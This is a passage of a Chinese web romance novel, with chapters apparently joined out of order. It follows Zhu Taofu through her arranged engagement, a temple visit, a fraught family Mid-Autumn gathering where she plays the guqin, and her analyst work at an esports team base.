男生忍了忍,收回意欲作乱的手,面对祝陶浮时,再次换了副耐心神色,似乎是学长关心学妹。
“小祝,谈恋爱可得好好挑挑,现在可多男性都是仗着自己有点小帅和小钱,专骗你这种大美女。”覃鹏宇关切劝解,循循善诱。
“况且洲安可比咱栖梧繁华复杂多了,还不如找身边人,来得熟悉心安。”
听得莫名其妙,杨鑫从点心盒里抬头,眼睛里写满了鄙夷。
他上下扫了一眼覃鹏宇,嘴角扯出一个奚落的弧度。
“突然当众自我介绍,这就是你上周混论坛的时候,拍照打卡的台词?”毫不掩饰地翻了个白眼,杨鑫轻哼了一声。
“你……”
电话铃响,打断了他的表演。
“懒得跟你计较。”覃鹏宇恶狠狠地剜了他一眼,拿起手机去一边接电话。
满不在乎地切了声,杨鑫:“肚子跟脑子长反了吧,天天这么多有的没的花花肠子。”
反应过来覃鹏宇举止异常,明白林斓是在替自己解围,祝陶浮感激地看向她。
“谢谢师姐。”
无论对谁,林斓始终表现得十分淡然。
因此祝陶浮表达感谢,她只是略一点头,眼神放在电脑上并未挪开。
“不用,我本来就看不惯他。”
林斓和覃鹏宇是盛科大学数学系硕博连读,同一个导师。不同的是,前者靠自己挣得名额,后者靠自己的亲爹。
杨鑫那话是讽刺亦是事实,覃鹏宇在课题组就跟旅行打卡拍照的游客似的,简历刷得热闹,实则细究起来,一问三不知。
祝陶浮笑着走过去,趴在林斓的工位上,玩笑道:“那学姐还看得惯我吗?晚上请你吃饭。”
指尖敲击键盘修改数据,林斓淡淡开口:“你那小公司开的实习工资,能够你吃几顿。”
对比覃鹏宇虚伪关心,林斓是实实在在为自己考虑,祝陶浮刚准备说些什么,杨鑫替她抢答。
“学姐,你这就小瞧她了啊,看到没,她还换了个新手机。”
往日里祝陶浮手机卡顿地都是好几年前的
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版本,然而这次她却拿着最新款,不像她一贯节省的作风。
事出反常必有妖,林斓终于从繁杂的建模里抬头,审视眼前人。
“你谈恋爱了?”
祝陶浮:……?
“不是,你们什么意思啊,就不能是我自力更生,这可是我自己打工买的。”她愣愣道。
“哎呀,不是说是你对象买的,只是你风格改变,肯定有问题咯。”杨鑫耸耸肩,理所当然地说。
祝陶浮:……
见状,林斓委婉提醒:“谈恋爱还是注意花销,别被人当提款机。”
祝陶浮:?
碍人眼的苍蝇飞远,杨鑫再次打开礼盒,翻出鲜肉月饼,嚼了嚼。
“那你中秋呢,今年还在栖梧过吗?”
她们同组的基本都在栖梧,少数本地人会回家团聚。
从高考考回洲安,祝陶浮户口重新迁回本地,中秋节的时候,她不在学校,大家以为她是理所当然地和家里人团聚。
短暂地愣怔,祝陶浮随后抬头好奇。
“你为什么这么问?”
“不去找男朋友吗。”杨鑫坦然自若,又丢了颗奶糖进嘴里:“这个抹茶味的好吃。”
祝陶浮:?
林斓淡定跟话:“难不成团圆的日子,你俩异地恋?”
祝陶浮:……
—
栖梧郊区,祝陶浮转了几班路线,来到地铁尽头。
随着地铁教练往后,人群愈发稀少。
直至最终,乘客寥寥无几,祝陶浮平静下车。
郊区与市区恍若两个平行世界,这里道路分划不那么清晰,行人与车辆拥挤在一起,就像这里的居民一样,不那么清楚目的地昏昏度日,平凡而平淡。
穿过稍显热闹的集市,祝陶浮熟稔地来到一片三轮车区域。
司机操着乡音拉客,祝陶浮坐上车后,等待人满出发。
路途无聊吵嚷,车上旅客大都没什么兴致,在司机吆喝声里烦躁下车,祝陶浮显得尤为平静,就像她来到的地方,安然平淡—
静远观。
近些年低矮山路不知道被哪个好心人捐赠修缮,平整得如同可以直通道观门口,不用再下车步行一段距离。
道观偏僻静谧,几乎没什么香客,却并不破财凋零,相反瓦房典雅整洁,温润而舒展。
香客稀少,道观里值守神殿的道士乐得悠然,惬意地在银杏树下捡拾着落叶和果实。
礼貌性地同道士问好,祝陶浮熟门熟路,轻敲藏经阁的房门。
与著名道观的几层高楼不同,此地的藏经阁,名副其实狭窄阁房。
屋内点燃着浅淡薰香,古木桌后一名中年男子正在抄誊经书。
见她走进屋,抬头冲她和蔼一笑。
“今年来得这么早,没有赶在中秋,是因为要去洲安,和他过节日吗。”
将提过来的特产,放在旁边的圆柜上,祝陶浮无奈地陈述:“师父,我和他是不可能的,下下签。”
“明知不可为而为之嘛。”道长心情愉悦地调侃说。
“错了,是不可为,而不为之。”祝陶浮。
41.第 41 章
每一年中秋,静远观的主持吴真道长,都会暂时结束云游,返回栖梧。
静远观加上义工居士,总共十余人,还有零零散散在外,基本没什么人常驻观里,主打一个随心随意。
月圆之日,团圆之时,常年在外的吴真道长返回观里打理事务。
庙小人少,没有什么特别的事情需要解决,吴真象征性地回观里看看。
母亲在世之时,中秋节会带她去道观拜会。
后来病逝,除了在洲安,只要在栖梧,祝陶浮依旧会前往静远观。
把给他带的礼盒,放在古木桌上,吴真道谢接过,当即拆开包装,随意地和她边吃边聊。
“何必如此悲观,事在人为嘛。”
面对求签为下,吴真笑眯眯谈论,如同提及天气一样寻常淡然。
剥掉塑料保鲜盒,他慢悠悠地拿出里面的苔条果仁月饼,嚼了一口,感叹道:“小陶浮你也太有心了,还是记忆里的老味道,好吃!”
吴真游历大江南北,洲安的寺庙道观他也访问过,曾经带回来一家佛教禅寺的月饼,得到中秋来访者的一致好评。
此刻祝陶浮带回来的,正是之前吴真购买的款式。
除了包装设计愈发精美,味道没有太大变化,依然满口酥香。
“所以呢,有些东西变了,有些东西还是没变。”他老神在在道。
祝陶浮看着他,默默补充:“师父,你是饿了吧,就是说这个好吃而已。”
的确如此,吴真坦诚以对:“好吧,不愧是小陶浮,聪明伶俐,那我也不跟你兜圈子了。”
不兜圈子,话题却兜兜转转,绕回起点。
“天意如此,尚有事在人为。下下签的桃花劫,说不定能转危为安。”
“是吗。”没有被他的话语打动,也没有显得过于哀恸,
祝陶浮平静陈述。
“可我过去求签问卦,是没有好结果的。”
窗外阳光幽幽映进室内,空气仿佛短暂地凝滞下来。
当初,母亲病重,从来不怎么求签的祝陶浮,在忙碌学业和照顾母亲之间,抽空来到静远观,求问一卦。
不喜欢求签问卦,是因为害怕得到不好的消息。
然而难得求问神明,却是一个最坏的答案。
年少时,祝陶浮一无所有,也不知道怎么办,只是凭自己仅有的一点力气,每天都会来道观跪拜。
听说犯了错,可以燃香静跪,祈求神明原谅。
于是她在忙碌疲惫以后,每晚独自在蒲团上虔诚祈祷。
直至体力透支,晕倒在神殿里。
值守的道士,把情况告诉在外云游的吴真道长,他特地连夜赶回,劝诫累倒在诊所小床旁的祝陶浮。
“小姑娘,你没有错,哪里需要跪香,求神明原谅呢?”
现在年纪稍长,祝陶浮依然一无所有,只是没有曾经那么幼稚执拗。
在订婚以后,她又求了一签,结果仍旧是下下。
人生到此为止的两次求签,都是不好的结果,祝陶浮摩挲着签文,没有说话。
原本吴真有说有笑,吃着洲安特产,闻言他停止动作,神色收敛许多,严肃认真起来。
经年过去,女孩容颜漂亮依旧,甚至艳丽更显,眼珠乌黑清澈,却不似从前灵动如活泉。
平静回望时,沉静漆黑,恍若被困住的古井,汩汩无声,不得挣脱。
“陶浮。”吴真轻轻地叹了声气,说:“凡事,往前看。”
常言讲,人不能沉浸在过去里,要活在当下,看在未来。
可若是没有过去种种,何谈现在呢。
知晓这孩子看着温顺乖巧,实则性子执拗,吴真不再过多劝解,换了个方式,缓和气氛。
“你要真的就此认命,今年哪里会提前到来。”转移话题,他端起桌上的普洱茶,缓缓啜饮。
“难道不是,专门把那一天,空出来去找他。”吴真喝了口茶,脸上恢复了些笑意。
祝陶浮也跟着浅浅一笑,淡声言:“是离开他。”
—
自从上次,与梁以盏在门口争执,两人再也没有联系。
也不算争执,是梁以盏单方面的质问,祝陶浮望着机窗外的浮云,神游云外。
那天吵归吵,他还是让司机送自己去机场,自己随后前往公司,说是顺路。
洲安两个机场,无论哪一个,都距离市中心的梁氏集团,相当遥远。
很多时候,其实祝陶浮面对问题不知道怎么办,也没有能力去解决,她选择逃离问题。
希望这次,与以前很多个迷惘时刻一样,问题能随着时间,自然而然地消散。
短暂高空失重,飞机降落洲安。落地时刻,人世间的喧嚣随之而来,祝陶浮按捺下纷扰思绪,走出舱门。
到达地点,一名穿搭得体的男人,接过他手里的行李箱,殷勤地示意前行。
认出此人是祝峥的秘书,祝陶浮没有多言,沉默跟在他身后。
“明天中秋,我们和梁家一起,在对方祖宅里度过。”上车后,祝峥开门见山,同她吩咐。
“妹夫跟你联系了吗。”他问。
其他絮叨,老生常谈,祝陶浮一只耳朵进,一只耳朵出。
唯有祝峥这声称谓,她着实难以评价,选择避而不谈。
看她这副不配合的模样,祝峥知晓两人肯定没有交集。
戳十下祝陶浮能动一下算谢天谢地,祝峥也懒得多费口舌,只叫她把自己收整收整,别到时候丢面。
“行啊,你给报销就ok。”祝陶浮百无聊赖地说。
偏过头看着她,祝峥奇了怪了:“梁以盏给你每套房里都配有衣服首饰,你怎么还要坑你哥的钱?”
坦然回望过来,祝陶浮一字一顿,同他掰扯:“祝家是祝家,梁家是梁家,不一样的。”
“区分这么细干嘛,一家人不说两家话。”祝峥嗤了声,吊儿郎当瞥眼。
淡然应声,祝陶浮看着他,理直气壮伸手:“那就不分,你打钱吧。”
本是劝说她,结果把自己绕进去了,祝峥:……
—
梁家祖宅,位于洲安东郊南麓,独占半山临湖,天然藏风聚气,主宅后院皆为风水宝地。
车辆缓缓驶入古深大门,沿着山湖蜿蜒而上,来到主宅前厅。
黄昏时刻,夜色尚早,宴厅还未开席,宾客在西花厅闲坐。
管家将祝氏夫妇、兄妹一行四人引到敞轩,偌大厅堂传来一阵悠扬的提琴声。
走进屋内,便听到三三两两的人群,正散坐闲聊。
“不愧是袁家千金,长得好看,也弹得一手好琴。”
“是啊,以后妥妥的艺术家。”
“什么以后,她现在就师出名门,等她在国外学业结束,回来以后,前途无量呢。”
……
知晓祝家人已经到达,后面更为直接难听的话语,消失在无声无息之间,仿佛沉浸在悠扬乐声里。
闻言,祝家四人心思各异,面上表情却统一地没什么变化。
休息会客的花厅,不同于宴席座次等级分明,因此主榻上的祝老太太笑意盈盈过来招呼,他们随意入座,祝老爷点头示意表示欢迎。
但祝家一干人等,心照不宣按照长幼尊卑,分坐在厅里各地。
“就说梁老二位,今年怎么突发好心叫我们过来,原来是叫了别人过来,别有用心啊。”随意拣了张不高不低的梨木桌座次,祝峥低声同祝陶浮交流。
对此,后者无奈道:“我本来就说不用来啊,梁以盏今天不在。”
何况,他发过话,自己不想做的事情可以不做。
但这个理由祝峥不会承认,在他思维里没有愿意与否的概念。
“他不在,我们来,不冲突。”祝峥驳回请求,继续刚刚的话题。
“方才落座看着招揽热切,又没有明确要求你跟他们两坐一起,原来另有人选。”瞥了眼屏风后,挽着琴弓的窈窕身影,祝峥眼神一凛,冷笑道。
耳边幽幽琴音,众人目光却不在拨琴之人。
有意或无意,凝聚在看似默不起眼、而明艳惹眼的侧颜上。
当事人没有任何反应,优哉游哉地就着瓷杯里的荔枝石榴汁,咬了口桂花糕。
祝峥:……
为了避免多大舞台丢多大脸,他索性把人推到舞台中央。
于是一曲终了,祝峥强行中断她的吃吃喝喝。
众人赞叹声止,祝峥缓慢鼓掌,看向祝陶浮,忽然笑了笑。
“袁
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家小姐果然才貌双全、琴艺动人,我家小妹也想献个丑,讨教一二。”
停止吃东西,祝陶浮:……
“……你幼不幼稚,当是小学生文艺汇演吗?”秀眉微蹙,她悄声表达不满。
祝峥笑意未改,用只有他们两能听见的音量,咬牙开口。
“谁让你一直吃零食,那就去给家长们表演个节目呗。”
祝陶浮:……
一时间,原本隐晦打量的眼神,全都不加掩饰地直视过来。
她只好放下手中的茶杯,对着紫檀主位的两位老人,微微歉疚一笑:“袁家小姐的弹奏是如听仙乐耳暂明了,我就不令大家,呕哑嘲哳难为听。”
一番谦逊婉拒,然而梁氏二老却是饶有兴致,慈爱笑言。
“无妨,中秋就是图个热闹,丫头你尽管弹便是。”
“是嘞,那一片的乐器,你随意挑选。”
屏风影影绰绰,映照出身形与乐影。
年少时跟着道观里的师兄师姐玩过游戏,也学习些古琴。
后来他们结婚生子,离开静远观有了各自家庭,祝陶浮没时间也没精力再拨弄琴弦。
兴趣式地学习,与系统乐理培训,天差地别,祝陶浮既是拒绝,亦是事实。
还想再推辞,窗边摆放的昂贵器具,没有自己擅长。
下一秒,祝峥笑着接话。
“那可巧了,小妹刚好略懂古琴一二。”堵死她的借口。
“是吗,那祝家真是有心了,在这浮躁的年头,让孩子静心学习古琴,真是会教育培养人。”祝老爷沉声笑道。
在座的面上不显,心里明白,祝陶浮分明都快成年了才被接回祝家,哪里谈得上教养。
若有似无的抛问,祝启鸿尴尬笑笑,燕媛倒是沉得住气,端庄大方应声。
“都是小浮自己的主意,很让我们当家长的省心呢。”
是夸赞,也是另有深意,总之将他们夫妇从窘境里暂时脱离。
祝老太太点点头,随即慈祥地望着祝陶浮。
“那就麻烦小浮,谈一首,我想听的曲子吧。”
祝陶浮起身,不卑不亢地礼貌问好。
“不麻烦,晚辈应该的,您但说无妨。”
祝老太太笑了笑,说:“好好,小丫头漂亮爽快,我想听的就是,《梁祝》。”
此言一出,空旷厅堂,安静地如同无物。
曲目《梁祝》。
梁山伯与祝英台。
大喜之日演奏悲剧,偏偏凑巧,梁以盏与祝陶浮,也顶着梁、祝二字。
除了祝陶浮,祝家人再怎么掩饰,脸色倏地变得难看。
祝氏夫妇二人不在乎联姻,但对于梁老二位明晃晃地拆台,是打他们脸的行为,相当不满。
祝峥则是站在联姻的一方,对于不加掩饰地破坏表达,十分厌恶。
迫于权势,他们都只能压下情绪,与其他人一样,静静旁观着真正的当事人。
状似贴心着想,祝老爷补充说:“这首曲子不错,也是提琴演奏名曲,小祝要是有什么不懂的,可以请教小袁指点。”
彻底断了后路,把她架在火上烤。
面对各色试探,祝陶浮神情始终未变,亦未多言,平静地走向古琴架旁。
清风穿过厅堂,如同琴音清亮,是故事开始的学堂少年时,短暂轻松的懵懂时光。
而后,琴声一点点下沉,父母之命、媒妁之言,现实重压生生撕裂美好纯真的过往。
紧接着,琴声越来越急促,越来越压抑,是二人抗婚不得、挣扎无果,就快要溺毙于越陷越深的泥泞之中。
祝陶浮按弦深重,拨弹缓慢,每一个音,都在倾诉,主人公
的爱别离,求不得,无穷无尽,朝着黑暗深渊下坠。
骤然间,一道音节,自对面响起。
像是一束横空破开的光亮,生生撕开弥漫盘旋的沉沉乌云,倾洒在看不清前路的茫茫黑夜。
相隔几里,恍若几个世纪。
并非沉郁顿挫的古朴琴音,而是来自对角之处,花厅光线最亮处的钢琴架。
蓦地抬眸,祝陶浮看见,不知道什么时候,一直静卧着的铮黑钢琴前坐着一人。
是梁以盏,他也正在弹奏,《梁祝》。
26-30
第26章 你有别的猫
QSG基地训练室, 趁着祁招在走廊上抽烟,祝陶浮在楼梯拐角处,冲他招了招手。
夜色里狼尾随风散乱, 侧瞥向她时恣肆又不羁。
注意到她躲在墙壁后探头探脑,祁招懒洋洋地走了过去。
廊灯昏沉, 手里烟还未灭,一点星火忽明忽暗, 映衬得眉眼倦懒桀骜。
感冒以后人的体质格外脆弱,燃烧的丝缕烟雾,顺着凉风飘进呼吸间, 祝陶浮不由自主地呛咳了两声。
指尖停顿,祁招随手将烟灭了,漫不经心地开口:“这么敏感,接你那男的不抽烟啊。”
“他不……”
夜风拂来, 雨滴随风飘进走廊,吹起回忆里遗落的一页卷折。
本想说他没有, 划到嘴边, 忽然卡壳,祝陶浮想起来,她见过梁以盏抽烟。
中元雨夜,旧巷,死胡同, 少年背抵靠着斑驳墙角瘫坐。
一条长腿随意地伸长淌在污水里,另一条则屈起半支,鸦羽长睫微垂,嘴里叼着烟,似乎是在休憩。
然而发梢凌乱绕在额前, 沾染泥泞与鲜血,缓慢滑过苍白凛冽的下颌线,滴落在校服上,昭示着这里刚刚经过一场惨烈的斗争。
深色西装外套被刀口划开几道裂痕,能看到鲜红血肉翻出的痕迹。有的伤口渗血,有的凝固成暗红色,不知是血还是雨水,深深浅浅洇湿在衣服各处。
内里白衬衫,则清晰地被血液浸红,雨水晕开浓重色彩,在黑暗里冰冷而凄艳。
少年比她身高大半截,祝陶浮扶他起来的时候,只能用瘦弱肩膀撑起他的重量,手臂环住他的腰间,艰难拖着他,深一脚浅一脚地在青石板路面,往前挪动。
这一带老街区路灯影影绰绰,大半坏损,间隔很远才有一盏老旧模糊地亮着微光。
狭窄的巷子里,唯有两边飘着五颜六色烟火气的人家,从居民楼窗户里透出些许白炽灯光,聊胜于无地照亮雨中搀扶倚靠在一起的身影。
因祝陶浮支撑着他身体,少年下颌不可避免地抵触她颈窝,挺直鼻尖几乎蹭擦着长发下瓷白干净的脸颊。
滚烫呼吸和袅袅烟雾,夹杂着潮湿青苔的气息,混乱地萦绕在她眉间发梢,祝陶浮不适蹙眉,本能地偏过头咳嗽。
手上脱力,没有扶稳身侧人,眼见着就要往前摔倒。
胳膊一揽圈住她不堪一握的细腰,少年单手将祝陶浮往怀里带,自己受伤的后背则撞在粗粝砖墙上。
他闷哼一声,叼咬着的烟随之滚落,一点星火很快熄灭在脏污之中。
被禁锢在他怀里,侧脸贴靠着他湿冷衬衣,祝陶浮听见他胸腔里一下一下的心跳,余温灼烫。
刹那间她抬起眼眸,与他低垂视线隔空相撞。
光线昏暗,沉灰眼尾坠着淤青,死寂幽深的寒潭泛不起一丝涟漪。
偏平日里冷淡唇色,在大雨中任殷红鲜血浸染,异样诡异红艳。
正逢七月十五,模样恰似黑夜里凄厉湿冷的诱惑艳鬼,趁着鬼门大开,坦坦荡荡来人间索命。
后来,祝陶浮没怎么见过他抽烟。
现在也是,可能只是自己没有瞧见。
有时候她能感受到梁以盏凛冽气息下,些许烟酒味道。
毕竟梁氏集团公务繁多,应酬来往,不可能一点都不沾,同在一个包厢里其他人吞云吐雾,总会连带附着。
“思考这么久,不会连他抽烟习惯,都不知道吧。”
调笑声音将她从回忆里拖回现实,祝陶浮卷翘长睫颤了颤,选择性沉默。
特地背了一个大容量单肩包,她从里面拿出来一方礼袋。
礼袋印有奢侈logo,精美得散发着同品牌的香氛气味,与刚才盛放它的朴素单肩包,格格不入。
在祝陶浮把包装完好的新羊绒毯,递给祁招的时候,还没来得及拿出自己编排好的一套说辞,对方看了一眼,径直接过后拎在手里,长腿一迈前往垃圾桶的方向。
顿感不妙,祝陶浮迅速跟了上去。
“这是全新的,你不会是要丢了吧。”
对方并未回头,而是伸出手,悬停在走廊垃圾桶。
都什么乱扔垃圾的坏毛病!
眼疾手快接住袋子末端,抢救到手祝陶浮长舒一口气,抬眸看向他,目光里流露出深深的谴责:“知道你有钱,也不要浪费好吗。”
像是听见什么好笑的事情,祁招唇角扯出讥讽的弧度,眼尾懒懒耷拉:“别说我啊,你那位先扔了我的,礼尚往来。”
祝陶浮:?
原本指责浪费的坚定态度,在听见祁招这话,祝陶浮心虚地别过眼。
见她一语不发,祁招懒得兜圈子,抬脚转身便走。
“诶,等等。”祝陶浮小跑跟上他,挽救式地补充:“……没有扔,物尽其用了。”
虽然她也不知道梁以盏拿绒毯去做什么,但他既然说了放在别的地方,肯定是没有丢掉的。
含糊其辞,祝陶浮如是言。
祁招停下来,懒散视线在她脸上逡巡。
不知道他信没信,终归没有再扔进垃圾桶。
“既然如此,我也好好利用。”
好好二字,祁招尾音重读,一听就不是什么好事——
一周训练准备时间,QSG即将再次面对从下杀到上的队伍。
此前交手,QSG赢多输少,哪怕现在处于败者组,不会再有复活甲,队员们对这场比赛,不是特别担忧。
大家担心的点,更多在于即使胜利,来到决赛,依旧会面对TKL。
而且是打背靠背的战役,不到24小时的第二天,再进行一场bo5,这对于脑力与体力,是极大的考验。
高强度的赛事,令赛训组需要做好万全准备,既要应对败者组的bp,尽量不让对方打出QSG的隐藏策略,避免透露过多内容给TKL。
同时还必须吸取上次的经验,面对TKL密不透风的防守体系,打开一线攻击的生路。
旗鼓相当的队伍,想靠哪一方实力碾压,在如今长线运营的版本节奏里,不太现实。
bo5的第五把,大概率是要战至终章。
战归战,但大家都不愿重蹈覆辙
因此在这一周里,从赛训到队员本身,都逼着整个队伍去磨合新体系。
老将好与不好的弊端,在此刻显现。
多年磋磨导致bp和对线选择,成为肌肉记忆,练新英雄、适应新体系,如同断尾求生。
与其他队伍进行的训练赛,每次都只会打前十五分钟,QSG此前基本都是碾压态势。
但在这几天约定的队伍,无论是强队还是弱队,QSG失去往日里的统治力,可以说节节溃败。
网络上通过一些人脉、拿到内部消息的博主们,开始大肆鼓吹TKL会拿冠军,理由就是训练赛的表现。
“闹麻了,QSG本来就名不副实,全靠明星选手撑着,真到硬碰硬的时候,就是纸老虎。”
“早就说QSG在走下坡路,明眼人都能看出来,只有粉丝还在捂嘴。”
“不是哥们,真有人信营销号,我还说我也有人脉,我爷爷也打职业有一手消息,骗骗流量赚赚钱呗。”
“笑死,还有人把训练赛当真,多少队伍训练赛乱杀,正式比赛直接打回原形,训练赛有用的话,直接颁发冠军得了。”
……
网络舆论众说纷纭,大部分看好TKL会是国内联赛的总冠军。
领队让大家这几天少刷手机少冲浪,免得影响比赛心情。
可这的确是不得不面对的事实,队伍要想战胜TKL,只能不断一遍又一遍地锻造新刀。
训练室上空凝结着一层乌云,如同近日连绵的雨,负战绩的潮闷笼罩在每一个人的心头。
由于感冒,祝陶浮尽量压缩时间,在白天将数据资料全部整理齐全,晚上下班的时间稍稍提前至十二点。
再怎么提前,等她来到一楼,基地前台招待区域,依旧空无一人。
不
过这一次,虽然没有看见人,但是碰到了猫。
QSG养了几只流浪猫,偌大基地是他们的后花园,各个游戏分部随意进出。
往常祝陶浮下班的时候,猫猫们已经进入睡梦中。
除了第一次来基地,祝陶浮有时间撸了一只睡懒觉的小猫,其余时候一直泡在训练室。
难得撞见一只小猫,她蹲下身子,摸了摸它的小脑袋,和它互动玩了一会儿。
一楼有猫猫们的专属休息室,祝陶浮玩着玩着,跟随小猫一起进去。
猫猫见此人类漂亮友好,便想向她展示自己的新猫窝。
然而方才还对自己展露温柔笑意的人类,却在看到自己猫窝的新垫子以后,瞪圆了眼睛,简直跟本猫圆溜溜的眼珠有得一拼。
紧接着,她变了脸色,不再同自己快乐玩耍。
猫猫:……
气得狠狠挠了挠爪子下面的新羊绒毯。
濛濛细雨,依旧是梁以盏开了辆低调的黑色suv,来门口接她下班。
上车以后,祝陶浮脑子里始终回想着,休息室里,那条印有品牌logo的羊绒毯,和他还给祁招的一模一样。
原来这就是所谓的,“好好利用”。
那,梁以盏的呢?
不会也是……
不由自主地,目光悄悄侧瞥向当事人。
闲散撩起眼皮,梁以盏回望过去,先行平静地说。
“你在心虚。”
明明应该是他心里发怵才对,祝陶浮不明所以:“我为什么要心虚?”
梁以盏淡淡道:“因为,你有别的猫。”
祝陶浮:……?
第27章 打他的脸
夜色里车辆缓缓行驶, 窗外细雨朦胧,雨水晕湿城市,在霓虹灯光里变得模糊幽远, 于方寸车内的人们,会生出一种彼此之间距离更近的错觉。
差点脱口而出, 你是狗鼻子吗,这都能闻出来。
但祝陶浮思索片刻, 还是忍住了,怕对方觉得自己是在骂他。
“是不是想说,我挺狗的。”梁以盏神色平淡, 右手修长指节,松懒地扶在方向盘上。
红灯亮起,他左边胳膊肘支在玻璃窗沿,眼尾撩起, 漫不经心地看向副驾座位。
“……没有。”慢慢别开眼神,祝陶浮强装镇定, 目光望进车前灯照亮的雨雾。
宽敞车厢陷入短暂安静, 指尖虚搭在皮革盘辐,有一搭没一搭地轻轻点敲,梁以盏闲闲抛了一问。
“想养吗。”
正盯着雨里的黯淡街市,发呆放空,听到身侧人的询问, 祝陶浮回过神,说:“养什么?猫猫狗狗吗?”
没什么情绪,梁以盏淡应了声。
“不想。”答得很干脆,她没有一丝犹豫。
车内寂冷的空气,似乎松动了一瞬, 开始缓缓流动。
侧瞥眼尾,他状似不经意打听缘由。
“不想还去招猫逗狗。”
以前高中,两人租住在一起,附近有居民早晚遛狗,祝陶浮碰上,总会半蹲着身子,摸摸小狗脑袋。
现在基地养了猫,祝陶浮依旧会去跟它们玩玩。
看样子,绝非不喜欢,但她并不想养。
微不可查叹了声气,祝陶浮盯着窗外高楼大厦的雨中倒影,声音很轻:“……你说的那是短暂玩玩,我不是很擅长去长时间抚养。”
自己都活得乱七八糟,她实在没有精力,再去经营长期关系,付出爱与时间,留下羁绊。
没什么所谓地嗯道,梁以盏语气很平静:“明白了,你就是想爽完不负责。”
祝陶浮:……
说到养小猫小狗,其实祝峥曾提到过,让她趁着来洲安实习的这段时间,和梁以盏一起养一只小宠物。
自从十八岁签下订婚协议,两人碰面机会寥寥无几。
私下里没有任何交集,表面上的同框,仅仅是豪门上层圈内商业往来。
直到祝陶浮研二实习,梁以盏从国外分公司,返回集团总部,他们的目的地皆是洲安,两条平行线才开始相交。
起初,祝峥表达得更为直接,提出让祝陶浮生个孩子,来留住梁以盏。
对于大多数事情,祝陶浮态度向来温和平静。
然而在听到祝峥的想法,她艳丽眉色间罕见地凝结冰霜。
“你太没有责任心了,祝峥。”
“责任心?”像是听到了什么天大的笑话,他玩味地重复祝陶浮所说出的这个词语,唇角勾起一抹讥诮弧度。
“要是有这个东西,哪里会有我们两。”祝峥似笑非笑,眼底却没有一丝温度。
同父异母的兄妹,都是父亲在外乱搞出来的产物,他的话刺耳难听,又诚然是事实。
“你还得感谢,他们为人父母的,没有责任心。”祝峥满不在乎道。
祝峥约她在洲安一家高空餐厅,可以俯瞰洲安整个繁华地段。
云端之上,金色阳光灿烂绚丽,祝陶浮却仿佛一脚踏空,坠入万丈冰原。
“慎言,我母亲并非你口中所言之人,她善良而温柔,没有对不起任何人。”抬起眼眸望向对面,一字一顿地说。
往日里祝峥时不时带祝陶浮出来吃饭,让她见见世面,免得参加豪门圈内聚会,跟没吃过饭似的。
然而无论是什么,她都吃得很香很干净,祝峥觉得白教了。
在祝陶浮说这话的时候,祝峥发现她面前瓷盘里的黑松露慕斯,一动未动,他明了是真的动气了。
眉眼微挑,祝峥举起红酒杯,冲她歉意地笑了笑:“我的错,死者为大,我只是在说我自己的父母。”
“哦对了,也是你的父亲。”他懒洋洋地补充,祝陶浮依然默不作声。
慢悠悠饮着红酒,祝峥继续往下:“话说回来,你跟梁以盏的情况,和祝家人不一样。”
“虽然人心易变,这几年你们没接触了,但总归当初多少有几分情意在的,你不愿意养,生了丢给梁以盏呗。”
闻言,祝陶浮抬起眼皮,平静看向对面。
他这个妹妹生得极美,祝峥一直知道,不然祝家不会一直琢磨着怎么讲她卖个好价钱,以至于迟迟没动手,导致下手的时候,等来了梁以盏。
在此之前,祝峥一直以为,她容貌艳盛,却并不给人咄咄逼人之感。
俗话说眼睛是心灵的窗户,祝陶浮的眼睛乌黑圆亮,像是一弯清溪,天空白云干净地落下倒影。
可此时,他仔细瞧过去,才发现里面溅不起丝毫光亮,不是春日里缓缓流动的溪水,而是冬天外凝寒彻骨的深潭,千年冰封、无波无澜。
有点像……梁以盏那双沉灰眼眸给人的感觉。
漠然望向他人时,如同万丈深渊、隔着缥缈云烟。
“好好好,我不说了,我打住。”知道再继续这个话题,纯属自讨没趣,祝峥无奈地长叹一口气,随意闲聊。
“那不养孩子,你可以养个小宠物在家啊,免得你两这么多年过去,没什么话题可谈。”
越说越觉得有道理,对面沉默,祝峥自顾自地分析:“你想啊,你两在一起能有话说,你两分开还能借着小东西的由头,彼此之间你来我往,多好。”
有时候是懒得计较,祝陶浮并非听不明白他的潜台词。
差不多就跟即使父母离婚了、孩子归属问题,总会藕断丝连牵扯在一起。
半晌,祝陶浮垂下眼睑,只淡淡道:“我不会和你一样漠视生命,也不会创造下一个悲剧。”
一时间,向来油腔滑调,祝峥放下红酒杯,望向高空外,选择闭口不谈,英俊眉目间薄凉而沉郁。
过了会儿,他再次将视线转向屋内,看着祝陶浮时,恢复如常笑意。
“第一次觉得没带你白吃这顿饭,来这么高的地方,还能听到你上高度的言论。”
那时候,祝峥结尾说的话,半真半假。
此刻雨天车内,祝
陶浮看向身旁凛冽冷艳的侧颜,觉得梁以盏的态度,好像是真的,不太喜欢这些外来的生命——
一周的时间很快接近尾声,败者组决赛的倒数第二天,往日里嘻嘻哈哈的训练室,沉闷地唯余键盘鼠标声响。
临到阵前,新阵容体系依然磨合得很痛苦,连不抽烟的辅助,都忍不住在走廊里通过烟瘾发泄情绪压力。
嫌人多拥挤,祁招独自去一楼空地。
“诶,祁队,正好有人找你。”前台叫住祁招。
“她说她在基地外停车场等你。”
训练室内,祝陶浮正在尽力寻求,对于TKL第五局的最优解bp。
后天的败者组没什么需要特别准备,紧接着背靠背的TKL才是压轴重头戏。
而与他们交手,极大概率会打到第五把,祝陶浮思考的就是第五局游戏内容。
手机铃响,来电显示,祝峥。
第一时间没有接听,祝陶浮从电竞椅里起身往外走。
二楼走廊队员们在抽烟,她打算下楼找个僻静地点,给他回拨电话。
连日暴雨,今天雨势转小,落地窗玻璃上,水珠缓缓流动。
拨打祝峥的电话,对面一阵忙音,冗长铃声结束也并未接通。
正当她准备进行第二次回拨,漫无目的地看向窗外,发现基地马路对面的停车场,祁招出现在那里。
他身边还有一个女生,长相虽不是一眼惊艳的类型,整体穿搭氛围堆砌出美女感。
下一秒——
说着什么的两人,停下讨论,女生忽然伸出双臂,挂在祁招脖子上,踮着脚去亲吻。
夜色里,身影交叠在一起。
祝陶浮:……
默默换了个角落蹲,电话那头刚好接起。
“怎么了,又有什么事。”她问。
之前同他讲,接下来将近一个月的时间里,不要打扰自己,现在这个电话打得有些莫名。
对方没有立刻回应,祝陶浮以为是信号不好,就想挂断重新通话。
粗重地喘了声气,祝峥哑着嗓音。
“我长话短说,你不是在忙论文,你在QSG基地。”
语气肯定,没有一丝犹疑。
原计划隐瞒到离开洲安的时候,没想到祝峥赶在决赛前两天知晓。
祝陶浮语气如常,平静说:“找我就是为这事儿。”
“对。”祝峥答得利落干脆。
